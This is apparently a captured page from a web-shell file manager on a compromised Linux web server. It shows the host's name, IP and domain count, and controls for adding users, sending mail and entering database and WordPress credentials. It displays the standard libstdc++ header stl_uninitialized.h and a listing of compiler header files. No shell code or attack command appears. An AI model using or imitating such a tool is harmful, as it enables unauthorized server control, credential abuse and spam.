System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
usr
/
include
/
c++
/
8
/
bits
/
216.73.216.38
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
stl_uninitialized.h
// Raw memory manipulators -*- C++ -*- // Copyright (C) 2001-2018 Free Software Foundation, Inc. // // This file is part of the GNU ISO C++ Library. This library is free // software; you can redistribute it and/or modify it under the // terms of the GNU General Public License as published by the // Free Software Foundation; either version 3, or (at your option) // any later version. // This library is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // Under Section 7 of GPL version 3, you are granted additional // permissions described in the GCC Runtime Library Exception, version // 3.1, as published by the Free Software Foundation. // You should have received a copy of the GNU General Public License and // a copy of the GCC Runtime Library Exception along with this program; // see the files COPYING3 and COPYING.RUNTIME respectively. If not, see // <http://www.gnu.org/licenses/>. /* * * Copyright (c) 1994 * Hewlett-Packard Company * * Permission to use, copy, modify, distribute and sell this software * and its documentation for any purpose is hereby granted without fee, * provided that the above copyright notice appear in all copies and * that both that copyright notice and this permission notice appear * in supporting documentation. Hewlett-Packard Company makes no * representations about the suitability of this software for any * purpose. It is provided "as is" without express or implied warranty. * * * Copyright (c) 1996,1997 * Silicon Graphics Computer Systems, Inc. * * Permission to use, copy, modify, distribute and sell this software * and its documentation for any purpose is hereby granted without fee, * provided that the above copyright notice appear in all copies and * that both that copyright notice and this permission notice appear * in supporting documentation. Silicon Graphics makes no * representations about the suitability of this software for any * purpose. It is provided "as is" without express or implied warranty. */ /** @file bits/stl_uninitialized.h * This is an internal header file, included by other library headers. * Do not attempt to use it directly. @headername{memory} */ #ifndef _STL_UNINITIALIZED_H #define _STL_UNINITIALIZED_H 1 #if __cplusplus > 201402L #include <utility> #endif #if __cplusplus >= 201103L #include <type_traits> #endif namespace std _GLIBCXX_VISIBILITY(default) { _GLIBCXX_BEGIN_NAMESPACE_VERSION template<bool _TrivialValueTypes> struct __uninitialized_copy { template<typename _InputIterator, typename _ForwardIterator> static _ForwardIterator __uninit_copy(_InputIterator __first, _InputIterator __last, _ForwardIterator __result) { _ForwardIterator __cur = __result; __try { for (; __first != __last; ++__first, (void)++__cur) std::_Construct(std::__addressof(*__cur), *__first); return __cur; } __catch(...) { std::_Destroy(__result, __cur); __throw_exception_again; } } }; template<> struct __uninitialized_copy<true> { template<typename _InputIterator, typename _ForwardIterator> static _ForwardIterator __uninit_copy(_InputIterator __first, _InputIterator __last, _ForwardIterator __result) { return std::copy(__first, __last, __result); } }; /** * @brief Copies the range [first,last) into result. * @param __first An input iterator. * @param __last An input iterator. * @param __result An output iterator. * @return __result + (__first - __last) * * Like copy(), but does not require an initialized output range. */ template<typename _InputIterator, typename _ForwardIterator> inline _ForwardIterator uninitialized_copy(_InputIterator __first, _InputIterator __last, _ForwardIterator __result) { typedef typename iterator_traits<_InputIterator>::value_type _ValueType1; typedef typename iterator_traits<_ForwardIterator>::value_type _ValueType2; #if __cplusplus < 201103L const bool __assignable = true; #else // trivial types can have deleted assignment typedef typename iterator_traits<_InputIterator>::reference _RefType1; typedef typename iterator_traits<_ForwardIterator>::reference _RefType2; const bool __assignable = is_assignable<_RefType2, _RefType1>::value; #endif return std::__uninitialized_copy<__is_trivial(_ValueType1) && __is_trivial(_ValueType2) && __assignable>:: __uninit_copy(__first, __last, __result); } template<bool _TrivialValueType> struct __uninitialized_fill { template<typename _ForwardIterator, typename _Tp> static void __uninit_fill(_ForwardIterator __first, _ForwardIterator __last, const _Tp& __x) { _ForwardIterator __cur = __first; __try { for (; __cur != __last; ++__cur) std::_Construct(std::__addressof(*__cur), __x); } __catch(...) { std::_Destroy(__first, __cur); __throw_exception_again; } } }; template<> struct __uninitialized_fill<true> { template<typename _ForwardIterator, typename _Tp> static void __uninit_fill(_ForwardIterator __first, _ForwardIterator __last, const _Tp& __x) { std::fill(__first, __last, __x); } }; /** * @brief Copies the value x into the range [first,last). * @param __first An input iterator. * @param __last An input iterator. * @param __x The source value. * @return Nothing. * * Like fill(), but does not require an initialized output range. */ template<typename _ForwardIterator, typename _Tp> inline void uninitialized_fill(_ForwardIterator __first, _ForwardIterator __last, const _Tp& __x) { typedef typename iterator_traits<_ForwardIterator>::value_type _ValueType; #if __cplusplus < 201103L const bool __assignable = true; #else // trivial types can have deleted assignment const bool __assignable = is_copy_assignable<_ValueType>::value; #endif std::__uninitialized_fill<__is_trivial(_ValueType) && __assignable>:: __uninit_fill(__first, __last, __x); } template<bool _TrivialValueType> struct __uninitialized_fill_n { template<typename _ForwardIterator, typename _Size, typename _Tp> static _ForwardIterator __uninit_fill_n(_ForwardIterator __first, _Size __n, const _Tp& __x) { _ForwardIterator __cur = __first; __try { for (; __n > 0; --__n, (void) ++__cur) std::_Construct(std::__addressof(*__cur), __x); return __cur; } __catch(...) { std::_Destroy(__first, __cur); __throw_exception_again; } } }; template<> struct __uninitialized_fill_n<true> { template<typename _ForwardIterator, typename _Size, typename _Tp> static _ForwardIterator __uninit_fill_n(_ForwardIterator __first, _Size __n, const _Tp& __x) { return std::fill_n(__first, __n, __x); } }; // _GLIBCXX_RESOLVE_LIB_DEFECTS // DR 1339. uninitialized_fill_n should return the end of its range /** * @brief Copies the value x into the range [first,first+n). * @param __first An input iterator. * @param __n The number of copies to make. * @param __x The source value. * @return Nothing. * * Like fill_n(), but does not require an initialized output range. */ template<typename _ForwardIterator, typename _Size, typename _Tp> inline _ForwardIterator uninitialized_fill_n(_ForwardIterator __first, _Size __n, const _Tp& __x) { typedef typename iterator_traits<_ForwardIterator>::value_type _ValueType; #if __cplusplus < 201103L const bool __assignable = true; #else // trivial types can have deleted assignment const bool __assignable = is_copy_assignable<_ValueType>::value; #endif return __uninitialized_fill_n<__is_trivial(_ValueType) && __assignable>:: __uninit_fill_n(__first, __n, __x); } // Extensions: versions of uninitialized_copy, uninitialized_fill, // and uninitialized_fill_n that take an allocator parameter. // We dispatch back to the standard versions when we're given the // default allocator. For nondefault allocators we do not use // any of the POD optimizations. template<typename _InputIterator, typename _ForwardIterator, typename _Allocator> _ForwardIterator __uninitialized_copy_a(_InputIterator __first, _InputIterator __last, _ForwardIterator __result, _Allocator& __alloc) { _ForwardIterator __cur = __result; __try { typedef __gnu_cxx::__alloc_traits<_Allocator> __traits; for (; __first != __last; ++__first, (void)++__cur) __traits::construct(__alloc, std::__addressof(*__cur), *__first); return __cur; } __catch(...) { std::_Destroy(__result, __cur, __alloc); __throw_exception_again; } } template<typename _InputIterator, typename _ForwardIterator, typename _Tp> inline _ForwardIterator __uninitialized_copy_a(_InputIterator __first, _InputIterator __last, _ForwardIterator __result, allocator<_Tp>&) { return std::uninitialized_copy(__first, __last, __result); } template<typename _InputIterator, typename _ForwardIterator, typename _Allocator> inline _ForwardIterator __uninitialized_move_a(_InputIterator __first, _InputIterator __last, _ForwardIterator __result, _Allocator& __alloc) { return std::__uninitialized_copy_a(_GLIBCXX_MAKE_MOVE_ITERATOR(__first), _GLIBCXX_MAKE_MOVE_ITERATOR(__last), __result, __alloc); } template<typename _InputIterator, typename _ForwardIterator, typename _Allocator> inline _ForwardIterator __uninitialized_move_if_noexcept_a(_InputIterator __first, _InputIterator __last, _ForwardIterator __result, _Allocator& __alloc) { return std::__uninitialized_copy_a (_GLIBCXX_MAKE_MOVE_IF_NOEXCEPT_ITERATOR(__first), _GLIBCXX_MAKE_MOVE_IF_NOEXCEPT_ITERATOR(__last), __result, __alloc); } template<typename _ForwardIterator, typename _Tp, typename _Allocator> void __uninitialized_fill_a(_ForwardIterator __first, _ForwardIterator __last, const _Tp& __x, _Allocator& __alloc) { _ForwardIterator __cur = __first; __try { typedef __gnu_cxx::__alloc_traits<_Allocator> __traits; for (; __cur != __last; ++__cur) __traits::construct(__alloc, std::__addressof(*__cur), __x); } __catch(...) { std::_Destroy(__first, __cur, __alloc); __throw_exception_again; } } template<typename _ForwardIterator, typename _Tp, typename _Tp2> inline void __uninitialized_fill_a(_ForwardIterator __first, _ForwardIterator __last, const _Tp& __x, allocator<_Tp2>&) { std::uninitialized_fill(__first, __last, __x); } template<typename _ForwardIterator, typename _Size, typename _Tp, typename _Allocator> _ForwardIterator __uninitialized_fill_n_a(_ForwardIterator __first, _Size __n, const _Tp& __x, _Allocator& __alloc) { _ForwardIterator __cur = __first; __try { typedef __gnu_cxx::__alloc_traits<_Allocator> __traits; for (; __n > 0; --__n, (void) ++__cur) __traits::construct(__alloc, std::__addressof(*__cur), __x); return __cur; } __catch(...) { std::_Destroy(__first, __cur, __alloc); __throw_exception_again; } } template<typename _ForwardIterator, typename _Size, typename _Tp, typename _Tp2> inline _ForwardIterator __uninitialized_fill_n_a(_ForwardIterator __first, _Size __n, const _Tp& __x, allocator<_Tp2>&) { return std::uninitialized_fill_n(__first, __n, __x); } // Extensions: __uninitialized_copy_move, __uninitialized_move_copy, // __uninitialized_fill_move, __uninitialized_move_fill. // All of these algorithms take a user-supplied allocator, which is used // for construction and destruction. // __uninitialized_copy_move // Copies [first1, last1) into [result, result + (last1 - first1)), and // move [first2, last2) into // [result, result + (last1 - first1) + (last2 - first2)). template<typename _InputIterator1, typename _InputIterator2, typename _ForwardIterator, typename _Allocator> inline _ForwardIterator __uninitialized_copy_move(_InputIterator1 __first1, _InputIterator1 __last1, _InputIterator2 __first2, _InputIterator2 __last2, _ForwardIterator __result, _Allocator& __alloc) { _ForwardIterator __mid = std::__uninitialized_copy_a(__first1, __last1, __result, __alloc); __try { return std::__uninitialized_move_a(__first2, __last2, __mid, __alloc); } __catch(...) { std::_Destroy(__result, __mid, __alloc); __throw_exception_again; } } // __uninitialized_move_copy // Moves [first1, last1) into [result, result + (last1 - first1)), and // copies [first2, last2) into // [result, result + (last1 - first1) + (last2 - first2)). template<typename _InputIterator1, typename _InputIterator2, typename _ForwardIterator, typename _Allocator> inline _ForwardIterator __uninitialized_move_copy(_InputIterator1 __first1, _InputIterator1 __last1, _InputIterator2 __first2, _InputIterator2 __last2, _ForwardIterator __result, _Allocator& __alloc) { _ForwardIterator __mid = std::__uninitialized_move_a(__first1, __last1, __result, __alloc); __try { return std::__uninitialized_copy_a(__first2, __last2, __mid, __alloc); } __catch(...) { std::_Destroy(__result, __mid, __alloc); __throw_exception_again; } } // __uninitialized_fill_move // Fills [result, mid) with x, and moves [first, last) into // [mid, mid + (last - first)). template<typename _ForwardIterator, typename _Tp, typename _InputIterator, typename _Allocator> inline _ForwardIterator __uninitialized_fill_move(_ForwardIterator __result, _ForwardIterator __mid, const _Tp& __x, _InputIterator __first, _InputIterator __last, _Allocator& __alloc) { std::__uninitialized_fill_a(__result, __mid, __x, __alloc); __try { return std::__uninitialized_move_a(__first, __last, __mid, __alloc); } __catch(...) { std::_Destroy(__result, __mid, __alloc); __throw_exception_again; } } // __uninitialized_move_fill // Moves [first1, last1) into [first2, first2 + (last1 - first1)), and // fills [first2 + (last1 - first1), last2) with x. template<typename _InputIterator, typename _ForwardIterator, typename _Tp, typename _Allocator> inline void __uninitialized_move_fill(_InputIterator __first1, _InputIterator __last1, _ForwardIterator __first2, _ForwardIterator __last2, const _Tp& __x, _Allocator& __alloc) { _ForwardIterator __mid2 = std::__uninitialized_move_a(__first1, __last1, __first2, __alloc); __try { std::__uninitialized_fill_a(__mid2, __last2, __x, __alloc); } __catch(...) { std::_Destroy(__first2, __mid2, __alloc); __throw_exception_again; } } #if __cplusplus >= 201103L // Extensions: __uninitialized_default, __uninitialized_default_n, // __uninitialized_default_a, __uninitialized_default_n_a. template<bool _TrivialValueType> struct __uninitialized_default_1 { template<typename _ForwardIterator> static void __uninit_default(_ForwardIterator __first, _ForwardIterator __last) { _ForwardIterator __cur = __first; __try { for (; __cur != __last; ++__cur) std::_Construct(std::__addressof(*__cur)); } __catch(...) { std::_Destroy(__first, __cur); __throw_exception_again; } } }; template<> struct __uninitialized_default_1<true> { template<typename _ForwardIterator> static void __uninit_default(_ForwardIterator __first, _ForwardIterator __last) { typedef typename iterator_traits<_ForwardIterator>::value_type _ValueType; std::fill(__first, __last, _ValueType()); } }; template<bool _TrivialValueType> struct __uninitialized_default_n_1 { template<typename _ForwardIterator, typename _Size> static _ForwardIterator __uninit_default_n(_ForwardIterator __first, _Size __n) { _ForwardIterator __cur = __first; __try { for (; __n > 0; --__n, (void) ++__cur) std::_Construct(std::__addressof(*__cur)); return __cur; } __catch(...) { std::_Destroy(__first, __cur); __throw_exception_again; } } }; template<> struct __uninitialized_default_n_1<true> { template<typename _ForwardIterator, typename _Size> static _ForwardIterator __uninit_default_n(_ForwardIterator __first, _Size __n) { typedef typename iterator_traits<_ForwardIterator>::value_type _ValueType; return std::fill_n(__first, __n, _ValueType()); } }; // __uninitialized_default // Fills [first, last) with std::distance(first, last) default // constructed value_types(s). template<typename _ForwardIterator> inline void __uninitialized_default(_ForwardIterator __first, _ForwardIterator __last) { typedef typename iterator_traits<_ForwardIterator>::value_type _ValueType; // trivial types can have deleted assignment const bool __assignable = is_copy_assignable<_ValueType>::value; std::__uninitialized_default_1<__is_trivial(_ValueType) && __assignable>:: __uninit_default(__first, __last); } // __uninitialized_default_n // Fills [first, first + n) with n default constructed value_type(s). template<typename _ForwardIterator, typename _Size> inline _ForwardIterator __uninitialized_default_n(_ForwardIterator __first, _Size __n) { typedef typename iterator_traits<_ForwardIterator>::value_type _ValueType; // trivial types can have deleted assignment const bool __assignable = is_copy_assignable<_ValueType>::value; return __uninitialized_default_n_1<__is_trivial(_ValueType) && __assignable>:: __uninit_default_n(__first, __n); } // __uninitialized_default_a // Fills [first, last) with std::distance(first, last) default // constructed value_types(s), constructed with the allocator alloc. template<typename _ForwardIterator, typename _Allocator> void __uninitialized_default_a(_ForwardIterator __first, _ForwardIterator __last, _Allocator& __alloc) { _ForwardIterator __cur = __first; __try { typedef __gnu_cxx::__alloc_traits<_Allocator> __traits; for (; __cur != __last; ++__cur) __traits::construct(__alloc, std::__addressof(*__cur)); } __catch(...) { std::_Destroy(__first, __cur, __alloc); __throw_exception_again; } } template<typename _ForwardIterator, typename _Tp> inline void __uninitialized_default_a(_ForwardIterator __first, _ForwardIterator __last, allocator<_Tp>&) { std::__uninitialized_default(__first, __last); } // __uninitialized_default_n_a // Fills [first, first + n) with n default constructed value_types(s), // constructed with the allocator alloc. template<typename _ForwardIterator, typename _Size, typename _Allocator> _ForwardIterator __uninitialized_default_n_a(_ForwardIterator __first, _Size __n, _Allocator& __alloc) { _ForwardIterator __cur = __first; __try { typedef __gnu_cxx::__alloc_traits<_Allocator> __traits; for (; __n > 0; --__n, (void) ++__cur) __traits::construct(__alloc, std::__addressof(*__cur)); return __cur; } __catch(...) { std::_Destroy(__first, __cur, __alloc); __throw_exception_again; } } template<typename _ForwardIterator, typename _Size, typename _Tp> inline _ForwardIterator __uninitialized_default_n_a(_ForwardIterator __first, _Size __n, allocator<_Tp>&) { return std::__uninitialized_default_n(__first, __n); } template<bool _TrivialValueType> struct __uninitialized_default_novalue_1 { template<typename _ForwardIterator> static void __uninit_default_novalue(_ForwardIterator __first, _ForwardIterator __last) { _ForwardIterator __cur = __first; __try { for (; __cur != __last; ++__cur) std::_Construct_novalue(std::__addressof(*__cur)); } __catch(...) { std::_Destroy(__first, __cur); __throw_exception_again; } } }; template<> struct __uninitialized_default_novalue_1<true> { template<typename _ForwardIterator> static void __uninit_default_novalue(_ForwardIterator __first, _ForwardIterator __last) { } }; template<bool _TrivialValueType> struct __uninitialized_default_novalue_n_1 { template<typename _ForwardIterator, typename _Size> static _ForwardIterator __uninit_default_novalue_n(_ForwardIterator __first, _Size __n) { _ForwardIterator __cur = __first; __try { for (; __n > 0; --__n, (void) ++__cur) std::_Construct_novalue(std::__addressof(*__cur)); return __cur; } __catch(...) { std::_Destroy(__first, __cur); __throw_exception_again; } } }; template<> struct __uninitialized_default_novalue_n_1<true> { template<typename _ForwardIterator, typename _Size> static _ForwardIterator __uninit_default_novalue_n(_ForwardIterator __first, _Size __n) { return std::next(__first, __n); } }; // __uninitialized_default_novalue // Fills [first, last) with std::distance(first, last) default-initialized // value_types(s). template<typename _ForwardIterator> inline void __uninitialized_default_novalue(_ForwardIterator __first, _ForwardIterator __last) { typedef typename iterator_traits<_ForwardIterator>::value_type _ValueType; std::__uninitialized_default_novalue_1< is_trivially_default_constructible<_ValueType>::value>:: __uninit_default_novalue(__first, __last); } // __uninitialized_default_n // Fills [first, first + n) with n default-initialized value_type(s). template<typename _ForwardIterator, typename _Size> inline _ForwardIterator __uninitialized_default_novalue_n(_ForwardIterator __first, _Size __n) { typedef typename iterator_traits<_ForwardIterator>::value_type _ValueType; return __uninitialized_default_novalue_n_1< is_trivially_default_constructible<_ValueType>::value>:: __uninit_default_novalue_n(__first, __n); } template<typename _InputIterator, typename _Size, typename _ForwardIterator> _ForwardIterator __uninitialized_copy_n(_InputIterator __first, _Size __n, _ForwardIterator __result, input_iterator_tag) { _ForwardIterator __cur = __result; __try { for (; __n > 0; --__n, (void) ++__first, ++__cur) std::_Construct(std::__addressof(*__cur), *__first); return __cur; } __catch(...) { std::_Destroy(__result, __cur); __throw_exception_again; } } template<typename _RandomAccessIterator, typename _Size, typename _ForwardIterator> inline _ForwardIterator __uninitialized_copy_n(_RandomAccessIterator __first, _Size __n, _ForwardIterator __result, random_access_iterator_tag) { return std::uninitialized_copy(__first, __first + __n, __result); } template<typename _InputIterator, typename _Size, typename _ForwardIterator> pair<_InputIterator, _ForwardIterator> __uninitialized_copy_n_pair(_InputIterator __first, _Size __n, _ForwardIterator __result, input_iterator_tag) { _ForwardIterator __cur = __result; __try { for (; __n > 0; --__n, (void) ++__first, ++__cur) std::_Construct(std::__addressof(*__cur), *__first); return {__first, __cur}; } __catch(...) { std::_Destroy(__result, __cur); __throw_exception_again; } } template<typename _RandomAccessIterator, typename _Size, typename _ForwardIterator> inline pair<_RandomAccessIterator, _ForwardIterator> __uninitialized_copy_n_pair(_RandomAccessIterator __first, _Size __n, _ForwardIterator __result, random_access_iterator_tag) { auto __second_res = uninitialized_copy(__first, __first + __n, __result); auto __first_res = std::next(__first, __n); return {__first_res, __second_res}; } /** * @brief Copies the range [first,first+n) into result. * @param __first An input iterator. * @param __n The number of elements to copy. * @param __result An output iterator. * @return __result + __n * * Like copy_n(), but does not require an initialized output range. */ template<typename _InputIterator, typename _Size, typename _ForwardIterator> inline _ForwardIterator uninitialized_copy_n(_InputIterator __first, _Size __n, _ForwardIterator __result) { return std::__uninitialized_copy_n(__first, __n, __result, std::__iterator_category(__first)); } template<typename _InputIterator, typename _Size, typename _ForwardIterator> inline pair<_InputIterator, _ForwardIterator> __uninitialized_copy_n_pair(_InputIterator __first, _Size __n, _ForwardIterator __result) { return std::__uninitialized_copy_n_pair(__first, __n, __result, std::__iterator_category(__first)); } #endif #if __cplusplus >= 201703L # define __cpp_lib_raw_memory_algorithms 201606L template <typename _ForwardIterator> inline void uninitialized_default_construct(_ForwardIterator __first, _ForwardIterator __last) { __uninitialized_default_novalue(__first, __last); } template <typename _ForwardIterator, typename _Size> inline _ForwardIterator uninitialized_default_construct_n(_ForwardIterator __first, _Size __count) { return __uninitialized_default_novalue_n(__first, __count); } template <typename _ForwardIterator> inline void uninitialized_value_construct(_ForwardIterator __first, _ForwardIterator __last) { return __uninitialized_default(__first, __last); } template <typename _ForwardIterator, typename _Size> inline _ForwardIterator uninitialized_value_construct_n(_ForwardIterator __first, _Size __count) { return __uninitialized_default_n(__first, __count); } template <typename _InputIterator, typename _ForwardIterator> inline _ForwardIterator uninitialized_move(_InputIterator __first, _InputIterator __last, _ForwardIterator __result) { return std::uninitialized_copy (_GLIBCXX_MAKE_MOVE_ITERATOR(__first), _GLIBCXX_MAKE_MOVE_ITERATOR(__last), __result); } template <typename _InputIterator, typename _Size, typename _ForwardIterator> inline pair<_InputIterator, _ForwardIterator> uninitialized_move_n(_InputIterator __first, _Size __count, _ForwardIterator __result) { auto __res = std::__uninitialized_copy_n_pair (_GLIBCXX_MAKE_MOVE_ITERATOR(__first), __count, __result); return {__res.first.base(), __res.second}; } #endif // C++17 _GLIBCXX_END_NAMESPACE_VERSION } // namespace #endif /* _STL_UNINITIALIZED_H */
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
..
DIR
-
drwxr-xr-x
2025-08-28 10:58:25
algorithmfwd.h
text/x-c
21.23 KB
-rw-r--r--
2025-08-26 09:45:00
alloc_traits.h
text/x-c
19.6 KB
-rw-r--r--
2025-08-26 09:45:00
allocated_ptr.h
text/plain
3.22 KB
-rw-r--r--
2025-08-26 09:45:00
allocator.h
text/x-c
7.39 KB
-rw-r--r--
2025-08-26 09:45:00
atomic_base.h
text/x-c
23.28 KB
-rw-r--r--
2025-08-26 09:45:00
atomic_futex.h
text/x-c
9.35 KB
-rw-r--r--
2025-08-26 09:45:00
atomic_lockfree_defines.h
text/plain
2.2 KB
-rw-r--r--
2025-08-26 09:45:07
basic_ios.h
text/x-c
15.7 KB
-rw-r--r--
2025-08-26 09:45:00
basic_ios.tcc
text/plain
5.94 KB
-rw-r--r--
2025-08-26 09:45:00
basic_string.h
text/x-c
237.01 KB
-rw-r--r--
2025-08-26 09:45:00
basic_string.tcc
text/x-c
52.5 KB
-rw-r--r--
2025-08-26 09:45:00
boost_concept_check.h
text/x-c++
26.52 KB
-rw-r--r--
2025-08-26 09:45:00
c++0x_warning.h
text/plain
1.44 KB
-rw-r--r--
2025-08-26 09:45:00
char_traits.h
text/x-c
20.42 KB
-rw-r--r--
2025-08-26 09:45:00
codecvt.h
text/plain
20.79 KB
-rw-r--r--
2025-08-26 09:45:00
concept_check.h
text/x-c
3.34 KB
-rw-r--r--
2025-08-26 09:45:00
cpp_type_traits.h
text/x-c
9.56 KB
-rw-r--r--
2025-08-26 09:45:00
cxxabi_forced.h
text/plain
1.77 KB
-rw-r--r--
2025-08-26 09:45:07
cxxabi_init_exception.h
text/x-c
2.17 KB
-rw-r--r--
2025-08-26 09:45:07
deque.tcc
text/plain
33.32 KB
-rw-r--r--
2025-08-26 09:45:00
enable_special_members.h
text/plain
12.1 KB
-rw-r--r--
2025-08-26 09:45:00
exception.h
text/x-c
2.23 KB
-rw-r--r--
2025-08-26 09:45:07
exception_defines.h
text/plain
1.61 KB
-rw-r--r--
2025-08-26 09:45:07
exception_ptr.h
text/x-c
5.84 KB
-rw-r--r--
2025-08-26 09:45:07
forward_list.h
text/x-c
47.77 KB
-rw-r--r--
2025-08-26 09:45:00
forward_list.tcc
text/plain
12.86 KB
-rw-r--r--
2025-08-26 09:45:00
fs_dir.h
text/plain
14.38 KB
-rw-r--r--
2025-08-26 09:45:00
fs_fwd.h
text/x-c
10.04 KB
-rw-r--r--
2025-08-26 09:45:00
fs_ops.h
text/x-c
9.5 KB
-rw-r--r--
2025-08-26 09:45:00
fs_path.h
text/x-c
32.12 KB
-rw-r--r--
2025-08-26 09:45:00
fstream.tcc
text/x-c
32.03 KB
-rw-r--r--
2025-08-26 09:45:00
functexcept.h
text/x-c
3.18 KB
-rw-r--r--
2025-08-26 09:45:00
functional_hash.h
text/x-c
8.04 KB
-rw-r--r--
2025-08-26 09:45:00
gslice.h
text/plain
5.39 KB
-rw-r--r--
2025-08-26 09:45:00
gslice_array.h
text/plain
7.59 KB
-rw-r--r--
2025-08-26 09:45:00
hash_bytes.h
text/x-c
2.1 KB
-rw-r--r--
2025-08-26 09:45:07
hashtable.h
text/x-c
72.06 KB
-rw-r--r--
2025-08-26 09:45:00
hashtable_policy.h
text/x-c
66.38 KB
-rw-r--r--
2025-08-26 09:45:00
indirect_array.h
text/plain
7.68 KB
-rw-r--r--
2025-08-26 09:45:00
invoke.h
text/x-c
3.57 KB
-rw-r--r--
2025-08-26 09:45:00
ios_base.h
text/x-c
30.3 KB
-rw-r--r--
2025-08-26 09:45:00
istream.tcc
text/x-c
30.36 KB
-rw-r--r--
2025-08-26 09:45:00
list.tcc
text/plain
15.6 KB
-rw-r--r--
2025-08-26 09:45:00
locale_classes.h
text/x-c
24.31 KB
-rw-r--r--
2025-08-26 09:45:00
locale_classes.tcc
text/plain
8.18 KB
-rw-r--r--
2025-08-26 09:45:00
locale_conv.h
text/x-c
15.72 KB
-rw-r--r--
2025-08-26 09:45:00
locale_facets.h
text/x-c
90.16 KB
-rw-r--r--
2025-08-26 09:45:00
locale_facets.tcc
text/plain
38.62 KB
-rw-r--r--
2025-08-26 09:45:00
locale_facets_nonio.h
text/x-c
67.36 KB
-rw-r--r--
2025-08-26 09:45:00
locale_facets_nonio.tcc
text/plain
44.22 KB
-rw-r--r--
2025-08-26 09:45:00
localefwd.h
text/x-c
5.51 KB
-rw-r--r--
2025-08-26 09:45:00
mask_array.h
text/plain
7.42 KB
-rw-r--r--
2025-08-26 09:45:00
memoryfwd.h
text/x-c
2.4 KB
-rw-r--r--
2025-08-26 09:45:00
move.h
text/x-c
6.38 KB
-rw-r--r--
2025-08-26 09:45:00
nested_exception.h
text/x-c
4.69 KB
-rw-r--r--
2025-08-26 09:45:07
node_handle.h
text/x-c
8.02 KB
-rw-r--r--
2025-08-26 09:45:00
ostream.tcc
text/x-c
12.03 KB
-rw-r--r--
2025-08-26 09:45:00
ostream_insert.h
text/x-c
3.91 KB
-rw-r--r--
2025-08-26 09:45:00
parse_numbers.h
text/x-c
7.76 KB
-rw-r--r--
2025-08-26 09:45:00
postypes.h
text/x-c
8.02 KB
-rw-r--r--
2025-08-26 09:45:00
predefined_ops.h
text/plain
8.87 KB
-rw-r--r--
2025-08-26 09:45:00
ptr_traits.h
text/x-c
6.47 KB
-rw-r--r--
2025-08-26 09:45:00
quoted_string.h
text/x-c
4.93 KB
-rw-r--r--
2025-08-26 09:45:00
random.h
text/x-c
171.14 KB
-rw-r--r--
2025-08-26 09:45:00
random.tcc
text/x-c
103.12 KB
-rw-r--r--
2025-08-26 09:45:00
range_access.h
text/x-c
9.79 KB
-rw-r--r--
2025-08-26 09:45:00
refwrap.h
text/x-c
11.61 KB
-rw-r--r--
2025-08-26 09:45:00
regex.h
text/plain
95.12 KB
-rw-r--r--
2025-08-26 09:45:00
regex.tcc
text/plain
16.18 KB
-rw-r--r--
2025-08-26 09:45:00
regex_automaton.h
text/plain
10.47 KB
-rw-r--r--
2025-08-26 09:45:00
regex_automaton.tcc
text/x-Algol68
7.65 KB
-rw-r--r--
2025-08-26 09:45:00
regex_compiler.h
text/plain
17.63 KB
-rw-r--r--
2025-08-26 09:45:00
regex_compiler.tcc
text/plain
18.84 KB
-rw-r--r--
2025-08-26 09:45:00
regex_constants.h
text/plain
14.36 KB
-rw-r--r--
2025-08-26 09:45:00
regex_error.h
text/plain
4.79 KB
-rw-r--r--
2025-08-26 09:45:00
regex_executor.h
text/x-c
7.31 KB
-rw-r--r--
2025-08-26 09:45:00
regex_executor.tcc
text/plain
18.4 KB
-rw-r--r--
2025-08-26 09:45:00
regex_scanner.h
text/x-c
6.92 KB
-rw-r--r--
2025-08-26 09:45:00
regex_scanner.tcc
text/plain
14.66 KB
-rw-r--r--
2025-08-26 09:45:00
shared_ptr.h
text/x-c
22.88 KB
-rw-r--r--
2025-08-26 09:45:00
shared_ptr_atomic.h
text/x-c
9.54 KB
-rw-r--r--
2025-08-26 09:45:00
shared_ptr_base.h
text/x-c
53.01 KB
-rw-r--r--
2025-08-26 09:45:00
slice_array.h
text/plain
9.13 KB
-rw-r--r--
2025-08-26 09:45:00
specfun.h
text/x-c
45.95 KB
-rw-r--r--
2025-08-26 09:45:00
sstream.tcc
text/plain
9.9 KB
-rw-r--r--
2025-08-26 09:45:00
std_abs.h
text/x-c
3.19 KB
-rw-r--r--
2025-08-26 09:45:00
std_function.h
text/x-c
22.71 KB
-rw-r--r--
2025-08-26 09:45:00
std_mutex.h
text/x-c
9.08 KB
-rw-r--r--
2025-08-26 09:45:00
stl_algo.h
text/x-c
209.27 KB
-rw-r--r--
2025-08-26 09:45:00
stl_algobase.h
text/x-c
49.31 KB
-rw-r--r--
2025-08-26 09:45:00
stl_bvector.h
text/x-c
32.94 KB
-rw-r--r--
2025-08-26 09:45:00
stl_construct.h
text/x-c
7.22 KB
-rw-r--r--
2025-08-26 09:45:00
stl_deque.h
text/x-c
76.73 KB
-rw-r--r--
2025-08-26 09:45:00
stl_function.h
text/x-c
40.77 KB
-rw-r--r--
2025-08-26 09:45:00
stl_heap.h
text/x-c
19.73 KB
-rw-r--r--
2025-08-26 09:45:00
stl_iterator.h
text/x-c
41.3 KB
-rw-r--r--
2025-08-26 09:45:00
stl_iterator_base_funcs.h
text/x-c
7.99 KB
-rw-r--r--
2025-08-26 09:45:00
stl_iterator_base_types.h
text/x-c
8.48 KB
-rw-r--r--
2025-08-26 09:45:00
stl_list.h
text/x-c
65.97 KB
-rw-r--r--
2025-08-26 09:45:00
stl_map.h
text/x-c
51.55 KB
-rw-r--r--
2025-08-26 09:45:00
stl_multimap.h
text/x-c
40.58 KB
-rw-r--r--
2025-08-26 09:45:00
stl_multiset.h
text/x-c
34.97 KB
-rw-r--r--
2025-08-26 09:45:00
stl_numeric.h
text/x-c
13.51 KB
-rw-r--r--
2025-08-26 09:45:00
stl_pair.h
text/x-c
18.21 KB
-rw-r--r--
2025-08-26 09:45:00
stl_queue.h
text/x-c
23.51 KB
-rw-r--r--
